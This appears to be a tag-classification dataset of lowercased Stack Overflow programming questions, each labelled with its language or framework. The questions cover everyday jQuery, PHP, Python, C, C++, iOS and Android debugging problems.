problem in using jquery for body load event  i am using jquery(newbie for jquery) in my application. in short what i am doing: i have a home page  where user enters his name and gets results on the same page. so i wrote two functions in home.php   one for body load event another for getting user s result. i have  get_home_info.php  which will load on body s load event and get_info.php on button click event which will overwrite  get_home_info.php  and give user search results(i.e get_info.php).   these functions are as follows:   <pre><code> $(document).ready(function(){                     $( body ).load($.get( /get_home_info.php   function(data){             $( #get_data ).html(data);       }));      }); </code></pre>   and another one for getting user result:   <pre><code>$(document).ready(function(){     $( #btn_submit ).bind( click   function(){         if($( #tnm ).val() !=    &amp;&amp; $( #tnm ).val() !=  enter a twitter username to know its honest followers! ){          $( #loadimg ).html( &lt;img src= images/images/ajax-loader.gif &gt; );             $( #loadimg ).show();                    $.get( /get_info.php tnm= +$( #tnm ).val()      function(data){                 $( #get_data ).html(data);                  $( #loadimg ).hide();               });         }     }); }); </code></pre>   note: there are div tags in below code properly in body.   now my problem is that  i am not able to execute these two functions simultaneously  i.e when i comment bodyload function  and enter user name  i get result  and uncommenting body and trying username simply shows search result.    my question are :   <ol> <li>can i write two function and execute these two functions at a time.</li> <li>how can i give effects like on button s click event first page should disappear so that i can show loading image and after that result.</li> </ol>   can somebody help here please  thank you in advance.,jquery
include php has different charset  i need a little help. i am totally stuck on this one.     my basic setting is running utf-8.    but i have included a php file which is scraping data from another site  this site is encoded in iso-8859-1.   <pre><code>&lt; php  //header( content-type: text/html; charset=iso-8859-1 ); include( simple_html_dom.php ); $html = file_get_html( http://www.hyde.dk/hanstholm/vejrstation.asp );  echo $html-&gt;find( .vsdatatable   4)-&gt;plaintext .  &lt;br&gt; ; echo $html-&gt;find( .vsdatatable   1)-&gt;plaintext .  &lt;br&gt; ; echo $html-&gt;find( .vsdatatable   2)-&gt;plaintext .  &lt;br&gt; ; echo $html-&gt;find( .vsdatatable   5)-&gt;plaintext .  &lt;br&gt; ; echo $html-&gt;find( .vsdatatable   6)-&gt;plaintext .  &lt;br&gt; ; echo $html-&gt;find( .vsdatatable   9)-&gt;plaintext .  &lt;br&gt; ; echo $html-&gt;find( .vsdatatable   7)-&gt;plaintext .  &lt;br&gt; ; echo $html-&gt;find( .vsdatatable   3)-&gt;plaintext .  &lt;br&gt; ; echo $html-&gt;find( .vsdatatable   11)-&gt;plaintext .  &lt;br&gt; ; echo $html-&gt;find( .vsdatatable   10)-&gt;plaintext .  &lt;br&gt; ;  $html-&gt;save();  $html-&gt;clear();  unset($html);   &gt; </code></pre>   if i use this:   <pre><code>header( content-type: text/html; charset=iso-8859-1 ); </code></pre>   it overwrites my whole site  and everything else is shown wrong.    can somebody help me guiding me in the right direction for setting this up in the right way.    kind regards  lasse,php
javascript document.writeln displaying )))  i was writing a program that will prompt the user to enter grades from a test. the grades will be converted into an array and then checked through with if statements to add to a counter array for a  b  c  d  or f. after the statements are added up  then i used document.writeln to display the code to a table. whenever i run the code  the screen displays three <code>)))</code> before my table is displayed. i cannot figure out why that is.           <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;script&gt;         scores = prompt( enter scores: );         if (scores== null || scores ==   )         {         document.writeln( no graph to display. );         }         else             {             scores = scores.split(   );             var grades = [0 0 0 0 0];             for(i=0; i &lt;= scores.length; i++)             {                 if(scores[i] &gt;= 90 &amp;&amp; scores[i] &lt;= 100)                     grades[0]++;                 else if (scores[i] &gt;= 80 &amp;&amp; scores[i] &lt; 90)                     grades[1]++;                 else if (scores[i] &gt;= 70 &amp;&amp; scores[i] &lt; 80)                     grades[2]++;                 else if (scores[i] &gt;= 60 &amp;&amp; scores[i] &lt; 70)                     grades[3]++;                 else if (scores[i] &gt;= 0 &amp;&amp; scores[i] &lt;60)                     grades[4]++;                  }                            document.writeln( &lt;table&gt; &lt;tbody&gt; &lt;tr&gt;&lt;td&gt;&lt;div style= height:  + grades[0] * 20 +  px class= fill0 &gt; &lt;/div&gt;&lt;/td&gt; );             document.writeln( &lt;td&gt;&lt;div style= height:  + grades[1] * 20 +  px class= fill1 &gt; &lt;/div&gt;&lt;/td&gt; );             document.writeln( &lt;td&gt;&lt;div style= height:  + grades[2] * 20 +  px class= fill2 &gt; &lt;/div&gt;&lt;/td&gt; );             document.writeln( &lt;td&gt;&lt;div style= height:  + grades[3] * 20 +  px class= fill3 &gt; &lt;/div&gt;&lt;/td&gt; );             document.writeln( &lt;td&gt;&lt;div style= height:  + grades[4] * 20 +  px class= fill4 &gt; &lt;/div&gt;&lt;/td&gt; &lt;/tr&gt; );             document.writeln( &lt;tr&gt; &lt;td&gt; a &lt;/td&gt; );             document.writeln( &lt;td&gt; b &lt;/td&gt; );             document.writeln( &lt;td&gt; c &lt;/td&gt; );             document.writeln( &lt;td&gt; d &lt;/td&gt; );             document.writeln( &lt;td&gt; f &lt;/td&gt; &lt;/tr&gt; );             document.writeln( &lt;tr&gt; &lt;td&gt;  + grades[0] +  &lt;/td&gt; );             document.writeln( &lt;td&gt;  + grades[1] +   &lt;/td&gt;) );              document.writeln( &lt;td&gt;  + grades[2] +   &lt;/td&gt;) );              document.writeln( &lt;td&gt;  + grades[3] +   &lt;/td&gt;) );              document.writeln( &lt;td&gt;  + grades[4] +   &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; );              }     &lt;/script&gt;     &lt;style&gt;     .fill0 { background-color: rgb(0 0 100)}     .fill1 {background-color: rgb(0 0 200)}     .fill2 {background-color: rgb(0 0 150)}     .fill3 {background-color: rgb(0 0 225)}     .fill4 {background-color: rgb(0 0 50)}     &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
ios how can i create a custom  keyboard   (just in one field of my app)  i want to create something like this in a field i have  a  custom keyboard . how can i do that  image: <img src= https://i.stack.imgur.com/o508o.png  alt= enter image description here >    thanks.,ios
how to find set difference in mysql   what is the <strong> except </strong> equivalent command in <strong>phpmyadmin</strong>    <pre><code>select name from table1 except select name from table2 </code></pre>,mysql
dynamic data in c++  i m coding in c++ and i m in need for a dynamic data storage  like arraylist in c# or java.    can anyone help me with that  i m not sure what to use.   thanks!,c++
[python]put names in alphabetical order  for this code i need a way for the user to be able to choose a way on how to arrange the code  so if the user inputs  a  then the code will arrange with the names in alphabetical order. most of this code is pretty simple  i just cant find anyway to have the code create random names while being in alphabetical order. i know im asking alot but it would be great if anyone could help out. (its a table in python by the way  no custom stuff just pure python)   <pre><code>    from random import randint import random import math  print (     -----------------------       class 5a -----------------------   ------------------------------------   ) for i in range(10): #class 5a     name = [ john    david    bob    luke    james    kyle    sam    adam    rick    charlie    alan    george    alex    jimmy    batman    oliver    rebeca    emily    amy    nat    ellie    maddie    clidna    tor    hannah    lucy    olivia    sam    lynn  ]     surname = [  dyde     davis     pennington     kelly     hadfield     millward     bennet     goldrick     webb     west     cotton     pie     rasberry     fujitsu     neil     gothem  ]     score1 = randint(1  10)     score2 = randint(1  10)     score3 = randint(1  10)     average1 = (score1 + score2 + score3)/3     score1 = str(score1)     score2 = str(score2)     score3 = str(score3)     average1 = round(average1)     average1 = str(average1)     print (( name:  )+(random.choice(name))+(random.choice(surname)))     print (( class: 5a ))     print (( score1:  )+(score1))     print (( score2:  )+(score2))     print (( score3:  )+(score3))     print (( average score:  )+(average1))     print ( ------------------------------------ )  print (     -----------------------       class 5b -----------------------   ------------------------------------   ) for i in range(10): #class 5b     name = [ john    david    bob    luke    james    kyle    sam    adam    rick    charlie    alan    george    alex    jimmy    batman    oliver    rebeca    emily    amy    nat    ellie    maddie    clidna    tor    hannah    lucy    olivia    sam    lynn  ]     surname = [  dyde     davis     pennington     kelly     hadfield     millward     bennet     goldrick     webb     west     cotton     pie     rasberry     fujitsu     neil     gothem  ]     score1 = randint(1  10)     score2 = randint(1  10)     score3 = randint(1  10)     average1 = (score1 + score2 + score3)/3     score1 = str(score1)     score2 = str(score2)     score3 = str(score3)     average1 = round(average1)     average1 = str(average1)     print (( name:  )+(random.choice(name))+(random.choice(surname)))     print (( class: 5b ))     print (( score1:  )+(score1))     print (( score2:  )+(score2))     print (( score3:  )+(score3))     print (( average score:  )+(average1))     print ( ------------------------------------ )  print(     -----------------------       class 5c -----------------------   ------------------------------------   ) for i in range(10): #class 5c     name = [ john    david    bob    luke    james    kyle    sam    adam    rick    charlie    alan    george    alex    jimmy    batman    oliver    rebeca    emily    amy    nat    ellie    maddie    clidna    tor    hannah    lucy    olivia    sam    lynn  ]     surname = [  dyde     davis     pennington     kelly     hadfield     millward     bennet     goldrick     webb     west     cotton     pie     rasberry     fujitsu     neil     gothem  ]     score1 = randint(1  10)     score2 = randint(1  10)     score3 = randint(1  10)     average1 = (score1 + score2 + score3)/3     score1 = str(score1)     score2 = str(score2)     score3 = str(score3)     average1 = round(average1)     average1 = str(average1)     print (( name:  )+(random.choice(name))+(random.choice(surname)))     print (( class: 5c ))     print (( score1:  )+(score1))     print (( score2:  )+(score2))     print (( score3:  )+(score3))     print (( average score:  )+(average1))     print ( ------------------------------------ )  </code></pre>,python
parsing a file in python  caveat emptor: i can spell p-y-t-h-o-n and that s pretty much all there is to my knowledge. i tried to take some online classes but after about 20 lectures learning not much  i gave up long time ago. so  what i am going to ask is very simple but i need help:    i have a file with the following structure:   <pre><code>object_name_here:   object_owner:     - me@my.email.com     - user@another.email.com   object_id: some_string_here   identification: some_other_string_here </code></pre>   and this block repeats itself hundreds of times in the same file. other than object_name_here being unique and required  all other lines may or may not be present  email addresses can be from none to 10+ different email addresses.    what i want to do is to export this information into a flat file  likes of /etc/passwd  with a twist    for instance  i want the block above to yield a line like this:   <pre><code>object_name_here:object_owner=me@my_email.com user@another.email.com:objectid=some_string_here:identification=some_other_string_here </code></pre>   again  the number of fields or length of the content fields are not fixed by any means. i am sure this is pretty easy task to accomplish with python but how  i don t know. i don t even know where to start from.    final edit: okay  i am able to write a shell script (bash  ksh etc.) to parse the information  but  when i asked this question originally  i was under the impression that  python had a simpler way of handling uniform or semi-uniform data structures as this one. my understanding was proven to be not very accurate. sorry for wasting your time.,python
"property hover in jquery  i want to make box which will change background-color with animation after hover on it but my jquery script doesn t make any effect on div. however there are no errors.     <div class= snippet  data-lang= js  data-hide= false  data-console= true >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$(document).ready(function(){
     $( #box ).hover(function () {
     $(this).stop().animate({ backgroundcolor:  #f00  } 700)
     }  function() {
     $(this).stop().animate({ backgroundcolor:  #aaa  } 700)}   
 );
 }); </code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= box  style= display:block; width: 500px; height: 100px; margin: 0 auto; background-color:red; &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>",jquery
using the c programming language  what is the best way to make a multicore redhat linux processor  use only one core in a test application   using the <code>c</code> programming language  what is the best way to make a multicore red hat linux processor  use only one core in a test application,c
missing system file system.windows.media what can i do   i m trying to run a program that contains the line   <pre><code>using system.windows.media.imaging; </code></pre>   but it give me this error     error   1   the type or namespace name  media  does not exist in the namespace  system.windows  (are you missing an assembly reference )    what can i do  can i download it from somewhere,.net
casting a custom class to a dict in python  perhaps i m overlooking something simple  but i would like to cast an instance of a custom class as a dictionary in python (for the sake of readability)  but haven t got an inkling as to how.  to explain in pseudocode  i would like to be able to do this:   <pre> class a:    # class things...  a = a() b = dict(a) </pre>   where i have defined what <code>b</code> will be within <code>a</code>.  is this possible,python
lisbox1.selected index changed to -1 autometically  i have a listbox in asp.net and i am binding list items from database. i have a button named  submit . now when pages loads i am getting desired values in listbox  but when i am selecting any value and pressing submit button it sets <strong>listbox s selected index to -1.</strong>    can anyone help me to get proper index value    <pre><code> &lt;div class= pageright &gt;         &lt;asp:listbox id= listofsql  runat= server  selectionmode= single  datatextfield= sql_name              datavaluefield= sql_text  style= margin-left: 0px  width= 205px  enableviewstate= true              onselectedindexchanged= listofsql_selectedindexchanged &gt;         &lt;/asp:listbox&gt;&lt;br /&gt;         &lt;asp:button id= btnpresqlexe  runat= server  text= sumbit           onclick= btnpresqlexe_click &gt;         &lt;/asp:button&gt;      &lt;/div&gt; </code></pre>   and .cs page is like    <pre><code> protected void btnpresqlexe_click(object sender  eventargs e)     {              txtquery.text = listofsql.selecteditem.value.tostring();          } </code></pre>   to bind data in listbox i am using following code   <pre><code>private void loadsqllist()     {         if (!ispostback)         {             conn.open();             datatable dt = new datatable();             dataset ds = new dataset();             string presql =  select sql_name  sql_text from cn_sql_log order by sql_name ;             oracledataadapter da = new oracledataadapter(presql  conn);             da.fill(ds);             listofsql.datasource = ds;             listofsql.datatextfield =  sql_name ;             listofsql.datavaluefield =  sql_text ;             listofsql.databind();             listofsql.selectedindex = 0;             conn.close();         } </code></pre>   and calling <strong>loadsqllist()</strong> on page_load,asp.net
the following code is supposed to read a file and print the file contents to the terminal window. it doesn’t work  i m not sure why   the following code is supposed to read a file and print the file contents to the terminal window. it doesn’t work  i m not sure why    <pre><code>filename = raw_input(’provide the path to a text file: ’) txt = open(filename) print txt </code></pre>,python
how to make if statement true only once   how do i make an if statement run only once. i am making a game in javascript and once the users score is 5 i want to add a new enemy into the array. the problem i am having is once the if statement is true it keeps adding new enemies over and over until the whole screen is covered with enemies. i want it to add only 1 new enemy when score is 5 then another when score is 10 and so on. i cannot think of a way to accomplish this. thank you.    sketch.js   <pre><code>   var score = 0;     //3 three enemies once game starts    function startingenemies() {        for (var i = 0; i &lt; 2; i++) {         enemies[i] = new basicenemy();       }    }      //add new enemies into the array    function spawnnewenemies() {      enemies.push(new basicenemy());    }      if (score == 5) {      spawnnewenemies();    } </code></pre>,javascript
error: invalid operands to binary + (have  int (*)()  and  int (*)() )  i was creating the following code which is deducing a student s stress level from their usage of negative coping strategies and agreement with low self-image associated statements. below is my code  and bolded are the parts i had problems with :   <pre><code>void statements (void);     void printweightsstatements(void); void coping (void); void printweightscoping(void); void advice (); int cumweightstatement(); int cumweightcoping();  void main() {  statements ();  coping (); **if (int cumweightstatement + int cumweightcoping&gt;=20)**    printf ( you are very stressed and at a high risk for depression. please  see a doctor or psychiaqtrist as soon as possible\n );  else if (cumweightstatement + cumweightcoping&gt;=15 &amp;&amp; int cumweightstatement + int cumweightcoping&lt;20) printf ( you are quite stressed and at a moderate risk for depression. please see your school guidance counselor\n ); else if (cumweightstatement + cumweightcoping&lt;=14) printf ( you are mildly stressed and at a low risk for depression  but you could still benefit from using positive coping strategies\n ) }  void printweightsstatements() {  printf( 1:strongly disagree\n );  printf( 2:disagree\n );  printf( 3:neither agree nor disagree\n );  printf( 4:agree\n ); printf( 5:strongly agree\n );  }   void statements(void)  {  int weight1;  int weight2;  int weight3;  int weight4;   printf ( how much do you agree with the following statements \n );   printf ( statement 1: i have trouble concentrating on my homework for 1 hour straight\n );  printweightsstatements;  printf( 1:strongly disagree\n );  printf( 2:disagree\n );  printf( 3:neither agree nor disagree\n );  printf( 4:agree\n );  printf( 5:strongly agree\n );  printf ( statement 2: i do not have much control over events in my life\n ); printweightsstatements; printf( 1:strongly disagree\n ); printf( 2:disagree\n ); printf( 3:neither agree nor disagree\n ); printf( 4:agree\n ); printf( 5:strongly agree\n ); scanf( %d   &amp;weight2); printf ( statement 3: during this school year  i have been stressed a lot\n ); printweightsstatements; printf( 1:strongly disagree\n ); printf( 2:disagree\n ); printf( 3:neither agree nor disagree\n ); printf( 4:agree\n ); printf( 5:strongly agree\n ); scanf( %d   &amp;weight3); printf ( statement 4: although i try very hard  there is always some schoolwork too difficult for me\n ); printf( 1:strongly disagree\n ); printf( 2:disagree\n ); printf( 3:neither agree nor disagree\n ); printf( 4:agree\n ); printf( 5:strongly agree\n ); scanf( %d   &amp;weight4); printweightsstatements;  int cumweightstatement=weight1+weight2+weight3+weight4; }   void coping (void); {   int weight1;   int weight2;   int weight3;   int weight4;   int weight5;  printf ( how often do you use each of the following coping strategies \n ); printf ( strategy 1: negative self-talk (for example  i can’t do this this is too hard for me  i’ll never get good at this)\n ); printweightscoping; scanf( %d   &amp;weight1); printf ( strategy 2: overusing internet/social media/phone for non-school-related activities (over 1 hour/day)\n ); printweightscoping; scanf( %d   &amp;weight2); printf ( strategy 3: extended sleep or naps (above 8-9 hours of regular sleep)\n ); printweightscoping; scanf( %d   &amp;weight3); printf ( strategy 4:procrastination or avoiding the task (leaving your schoolwork to the last minute  or not doing it at all)\n ); printweightscoping; scanf( %d   &amp;weight4); printf ( strategy 5:denial (ignoring your problems and keep doing things the same way)\n ); printweightscoping; scanf( %d   &amp;weight5); int cumweightcoping=weight1+weight2+weight3+weight4; }  void printweightscoping(void); {  printf( 1:never\n );  printf( 2:rarely(less than weekly) \n );  printf( 3:sometimes(once a week)\n );  printf( 4:often (several times a week)\n );  printf( 5:always (about daily ) } </code></pre>   this is the log. do you have any idea how to fix these errors    <pre><code>main.c: in function  main : main.c:23:9: error: expected expression before  int   main.c:25:33: error: invalid operands to binary + (have  int (*)()  and  int (*) main.c:25:58: error: expected expression before  int                                                        ^ main.c:27:33: error: invalid operands to binary + (have  int (*)()  and  int (*)  expected identifier or  (  before  {  token </code></pre>,c
how can i dynamically update a html attribute  i have this code   <pre><code>&lt;div class= g-popupgrid-item g-zoom  data-size= 395x385 &gt; </code></pre>   i want to populate the 395x385 dynamically with the image size.    i have a js function which gets the image size  i don t know how to print/echo/document.write it to be within the html tag.,javascript
how to access the nested object value in angularjs  <pre><code>$scope.form={                 name:                    fields:[                         {                             id:                                name:                                type: dfsd                               order:                           }                         ]     }; </code></pre>   how to access the type value in the above object.i need to push the value into it..i could not able to do..so first i thought to retrieve once i could not do..so can i have a solution for both the operations.push and retrieve the value .,angularjs
cannot remove nsnotificationcenter  i use 2 <code>nsnotificationcenter</code> and in order to avoid retain cycles i ve created a weakself like this: <code>__unsafe_unretained augmentedrealityviewcontroller *weakself = self;</code>   <pre><code>    [[nsnotificationcenter defaultcenter] addobserverforname:uiapplicationdidbecomeactivenotification object:nil queue:[nsoperationqueue mainqueue] usingblock:^(nsnotification *note) {           if (weakself.architectworldnavigation.wasinterrupted) {             [weakself.architectview reloadarchitectworld];         }          [weakself startwikitudesdkrendering];     }];     [[nsnotificationcenter defaultcenter] addobserverforname:uiapplicationwillresignactivenotification object:nil queue:[nsoperationqueue mainqueue] usingblock:^(nsnotification *note) {          [weakself stopwikitudesdkrendering];     }]; </code></pre>   the problem is that even if i remove them inside the <code>dealloc</code> they keep getting fired and the app crashes.     inside the <code>dealloc</code> in order to remove the <code>nsnotificationcenter</code> i use the following code:   <pre><code>- (void)dealloc {     [[nsnotificationcenter defaultcenter] removeobserver:self];      [self.architectview removefromsuperview]; } </code></pre>   it gets called when i leave the viewcontroller but the notifications still works.. can someone tell me what s wrong with the code and how to fix the problem,objective-c
detect and restart python defunct processes  <strong>tl; dr:</strong>    i need a programmatic way to either fully terminate a process when a subprocess goes defunct  or a way to detect the defunct process so i can terminate and restart a process automatically.    <strong>background</strong>:    i have a postfix milter written in python. works great for days at a time. then  for no (apparent) reason  it just stops. /var/log/mail.log shows:   <pre><code>nov  2 09:23:11 mcdb2 postfix/smtpd[8735]: warning: connect to milter service local:/var/run/mcdbcache/mcdb.sock: connection refused </code></pre>   <code>ps aux | grep python</code> shows:   <pre><code>root      9172  0.0  0.0  12668  1660 pts/0    s+   09:23   0:00 grep python postfix  18769  0.0  0.0      0     0          z    oct25   0:40 [python] &lt;defunct&gt; postfix  18771  0.0  0.1 151568  9232          s    oct25   0:03 python /usr/src/mcdb-mailcache-milter/mcdb_mailcache.py /etc/mcdbcache/mcdbcache.conf </code></pre>   so  the problem is the defunct process.    if i do <code>kill -9 18771 18769</code>  the process is killed and /usr/bin/daemon will auto-restart it.    so  i need a way to either programmatically deal with defunct processes  or detect that the process is stopped / defunct  and then restart. i have considered trying to periodically connect to the socket  and ifthe connection is refused  use that as an indicator to restart the process  but not sure if that will be the most effective way to solve the problem.    for reference  here s how we start the daemon process:   <pre><code>@reboot /usr/bin/daemon -n mcdbmailcache -r -a 10 -a 10 -l 10 /usr/src/mcdb-mailcache-milter/mcdb_mailcache.py /etc/mcdbcache/mcdbcache.conf </code></pre>,python
how to use typedef in class definition and implementation  i have a class definition:   <pre><code>using namespace std;  class database { private:     ....     typedef database::vector&lt;object&gt; objectvector;     typedef database::map&lt;objecttype  objectvector&gt; objectmap;     objectmap objects;     ....  }; </code></pre>   and an implementation file:   <pre><code>....  void database::createobject(const objecttype type  ifstream&amp; strm) {   switch(type)   {      case fiction:           objectvector fic = objects[fiction];  //complains about unknown type           break;       .... }  .... </code></pre>   i get the error <code>unknown type name  objectvector </code>. i can´t get the row with the complaint right. what am i doing wrong      <strong>edit:</strong> the error of mine was not including the header . so for you guys with similar errors check that you have included all the needed types for you typedef.,c++
javascript incrementation issue <pre><code>for (i = 1; i &lt;= arraynum; i++) {      $( .totalcubesboards +i+  ).val(result.test1); } </code></pre>   my goal .val(result.test[i]); it does not work brings nan    hello i have this code  i found a vay how to increment $( .totalcubesboards +i+  ) but when i try to increment .val(result.test1) by any way (for example: (result.test+i); or (result.test+number(i));) it simply does not work.    arraynum brings = 2 it works. if you do result.test1 = it works result is ajax success   test comes from php after calculation    any ideas or answers would be appreciated.,javascript
i am confused. how can i apply css in appropriate way for this   story short i have widgets sidebar. i style it like this:   <pre><code>.widgets ul {padding: 10px} </code></pre>   now one of the uls inside widgets i want to avoid padding from it  but keeping all other uls use default padding of 10px.     so i tried to give class to children ul which i want no padding on like this   <pre><code>.tabs {padding:0} </code></pre>   i tried ul.tabs  and .widgets ul.tabs nothing seems to take effect. it still receives padding 10px. and i can t afford to do custom padding for every ul inside the widgets.    can you please tell me what i am missing      the html is pretty basic.   <pre><code>&lt;ul class= widgets &gt;       &lt;li&gt;&lt;h2&gt;widget title 1&lt;/h2&gt;           &lt;ul&gt;           ....my widget content           &lt;/ul&gt;      &lt;/li&gt;       &lt;li&gt;&lt;h2&gt;custom widget 1&lt;/h2&gt;           &lt;ul class= tabs &gt;           ...this one i want to have padding:0..           &lt;/ul&gt;      &lt;/li&gt;  &lt;/ul&gt; </code></pre>   thats the html basic framework. i set padding:10px to any ul in parent widgets ul but i want specific custom widget to have its own custom styles  i can t do it :( in this case ul class=tabs,css
android : java.lang.illegalstateexception: fragmentmanager is already executing transactions  i am trying to implements a facebook connect. but when i am logging  i try to change the fragment. for information  my logging is in a fragment :    <pre><code>public class fragment_login extends fragment implements header{     private loginbutton loginbutton;     private profiletracker profiletracker;     private accesstokentracker accesstokentracker;     private view view;      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);     }      @override     public view oncreateview(layoutinflater inflater  viewgroup container                               bundle savedinstancestate) {         view = inflater.inflate(r.layout.fragment_login  container  false);          accesstokentracker = new accesstokentracker() {             @override             protected void oncurrentaccesstokenchanged(accesstoken oldaccesstoken  accesstoken currentaccesstoken) {              }         };         profiletracker = new profiletracker() {             @override             protected void oncurrentprofilechanged(profile oldprofile  profile currentprofile) {                 loggingvalidate(currentprofile);             }         };         accesstokentracker.starttracking();         profiletracker.starttracking();         loginbutton = (loginbutton) view.findviewbyid(r.id.fb_login);         loginbutton.setfragment(this);         facebookcallback&lt;loginresult&gt; callback = new facebookcallback&lt;loginresult&gt;() {             @override             public void onsuccess(loginresult loginresult) {                 profile profile = profile.getcurrentprofile();                 loggingvalidate(profile);             }              @override             public void oncancel() {                 log.i( cancel    );              }              @override             public void onerror(facebookexception error) {                 log.i( cancel  error.tostring());              }         };         loginbutton.setreadpermissions( user_friends );         loginbutton.registercallback(((main)getactivity()).getcallbackmanager()  callback);           return view;     }      @override     public void onresume() {         super.onresume();     profile profile= profile.getcurrentprofile();         loggingvalidate(profile);      }      @override     public void onpause() {         super.onpause();     }      @override     public void onstop() {         super.onstop();         accesstokentracker.stoptracking();         profiletracker.stoptracking();     }       private void loggingvalidate (profile profile){         if(profile != null){             /*((main) getactivity()).getsharedpreferences()                     .edit()                     .putstring(prefs_photo  profile.getprofilepictureuri(200 200).tostring())                     .putstring(prefs_prenom  profile.getfirstname())                     .putstring(prefs_nom  profile.getlastname())                     .apply();*/         }     } </code></pre>   i have already searched a solution but nothing work.     mainactivity :    <pre><code> @override     protected void oncreate(bundle bundle) {         super.oncreate(bundle);         setcontentview(r.layout.activity_main);         setrequestedorientation(activityinfo.screen_orientation_portrait);         android.support.v4.app.fragmentmanager fragmentmanager = getsupportfragmentmanager();         final android.support.v4.app.fragmenttransaction fragmenttransaction = fragmentmanager.begintransaction();         preferences = this.getsharedpreferences( user_prefs   context.mode_private);         buttondeconnexion =(button)findviewbyid(r.id.buttondeconnexion);         final loginfragment loginfragment = new loginfragment();          try {            utilisateur.setid(preferences.getstring( prefs_id  null));            utilisateur.setlogin(preferences.getstring( prefs_login  null));            utilisateur.setmotdepasse(preferences.getstring( prefs_pass  null));               if(utilisateur.getlogin() != null){             menufragment menufragment = new menufragment();             menufragment.setarguments(bundle);             fragmenttransaction.add(r.id.fragment_container  menufragment   menu );             fragmenttransaction.addtobackstack( menu );             fragmenttransaction.commit();                 log.i( en dessous    );              }         }catch (nullpointerexception e){             buttondeconnexion.setvisibility(view.invisible);             buttondeconnexion.setenabled(false);             loginfragment.setarguments(bundle);             fragmenttransaction.add(r.id.fragment_container  loginfragment   login );             fragmenttransaction.addtobackstack( login );             fragmenttransaction.commit();         }         buttondeconnexion.setonclicklistener(new view.onclicklistener(){             @override             public void onclick(view v) {                 preferences.edit().remove(prefs_id).commit();                 preferences.edit().remove(prefs_login).commit();                 preferences.edit().remove(prefs_pass).commit();                 enableddeconnexion();                 android.support.v4.app.fragmentmanager fragmentmanager = getsupportfragmentmanager();                  android.support.v4.app.fragmenttransaction fragmenttransaction = fragmentmanager.begintransaction();                 fragmenttransaction.replace(r.id.fragment_container loginfragment);                 fragmenttransaction.addtobackstack( login );                 fragmenttransaction.commit();             }         });     }     @override     protected void onresume() {     super.onresume();     }      protected void onpause() {         super.onpause();     }      protected void onstop() {         super.onstop();      }      public sharedpreferences getsharedpreferences(){         return preferences;     }     public void setdeconnexionvisibles(){         buttondeconnexion.setvisibility(view.visible);         buttondeconnexion.setenabled(true);     }     public void enableddeconnexion(){         buttondeconnexion.setvisibility(view.invisible);         buttondeconnexion.setenabled(false);     }      public utilisateur getutilisateur() {         return utilisateur;     }      public void setutilisateur(utilisateur utilisateur) {         this.utilisateur = utilisateur;     } </code></pre>   and there is the error :    <pre><code>java.lang.runtimeexception: unable to resume activity {woowin.woowin/woowin.woowin.main}: java.lang.illegalstateexception: fragmentmanager is already executing transactions                                                                    at android.app.activitythread.performresumeactivity(activitythread.java:3103)                                                                    at android.app.activitythread.handleresumeactivity(activitythread.java:3134)                                                                    at android.app.activitythread$h.handlemessage(activitythread.java:1388)                                                                    at android.os.handler.dispatchmessage(handler.java:102)                                                                    at android.os.looper.loop(looper.java:148)                                                                    at android.app.activitythread.main(activitythread.java:5417)                                                                    at java.lang.reflect.method.invoke(native method)                                                                    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:726)                                                                    at com.android.internal.os.zygoteinit.main(zygoteinit.java:616)                                                                 caused by: java.lang.illegalstateexception: fragmentmanager is already executing transactions                                                                    at android.support.v4.app.fragmentmanagerimpl.ensureexecready(fragmentmanager.java:1956)                                                                    at android.support.v4.app.fragmentmanagerimpl.execpendingactions(fragmentmanager.java:2007)                                                                    at android.support.v4.app.fragmentmanagerimpl.executependingtransactions(fragmentmanager.java:763)                                                                    at android.support.v4.app.fragmenttabhost.onattachedtowindow(fragmenttabhost.java:289)                                                                    at android.view.view.dispatchattachedtowindow(view.java:14514)                                                                    at android.view.viewgroup.dispatchattachedtowindow(viewgroup.java:2836)                                                                    at android.view.viewgroup.addviewinner(viewgroup.java:4348)                                                                    at android.view.viewgroup.addview(viewgroup.java:4145)                                                                    at android.view.viewgroup.addview(viewgroup.java:4086)                                                                    at android.view.viewgroup.addview(viewgroup.java:4059)                                                                    at android.support.v4.app.fragmentmanagerimpl.movetostate(fragmentmanager.java:1309)                                                                    at android.support.v4.app.fragmentmanagerimpl.movefragmenttoexpectedstate(fragmentmanager.java:1528)                                                                    at android.support.v4.app.fragmentmanagerimpl.movetostate(fragmentmanager.java:1595)                                                                    at android.support.v4.app.backstackrecord.executeops(backstackrecord.java:758)                                                                    at android.support.v4.app.fragmentmanagerimpl.executeops(fragmentmanager.java:2363)                                                                    at android.support.v4.app.fragmentmanagerimpl.executeopstogether(fragmentmanager.java:2149)                                                                    at android.support.v4.app.fragmentmanagerimpl.optimizeandexecuteops(fragmentmanager.java:2103)                                                                    at android.support.v4.app.fragmentmanagerimpl.execpendingactions(fragmentmanager.java:2013)                                                                    at android.support.v4.app.fragmentcontroller.execpendingactions(fragmentcontroller.java:388)                                                                    at android.support.v4.app.fragmentactivity.onresume(fragmentactivity.java:488)                                                                    at woowin.woowin.main.onresume(main.java:69)                                                                    at android.app.instrumentation.callactivityonresume(instrumentation.java:1258)                                                                    at android.app.activity.performresume(activity.java:6312)                                                                    at android.app.activitythread.performresumeactivity(activitythread.java:3092)                                                                    at android.app.activitythread.handleresumeactivity(activitythread.java:3134)                                                                     at android.app.activitythread$h.handlemessage(activitythread.java:1388)                                                                     at android.os.handler.dispatchmessage(handler.java:102)                                                                     at android.os.looper.loop(looper.java:148)  </code></pre>   i try to use commitnow  but when i used it i have an other error about the backstrack    please can you help me      thank s,android
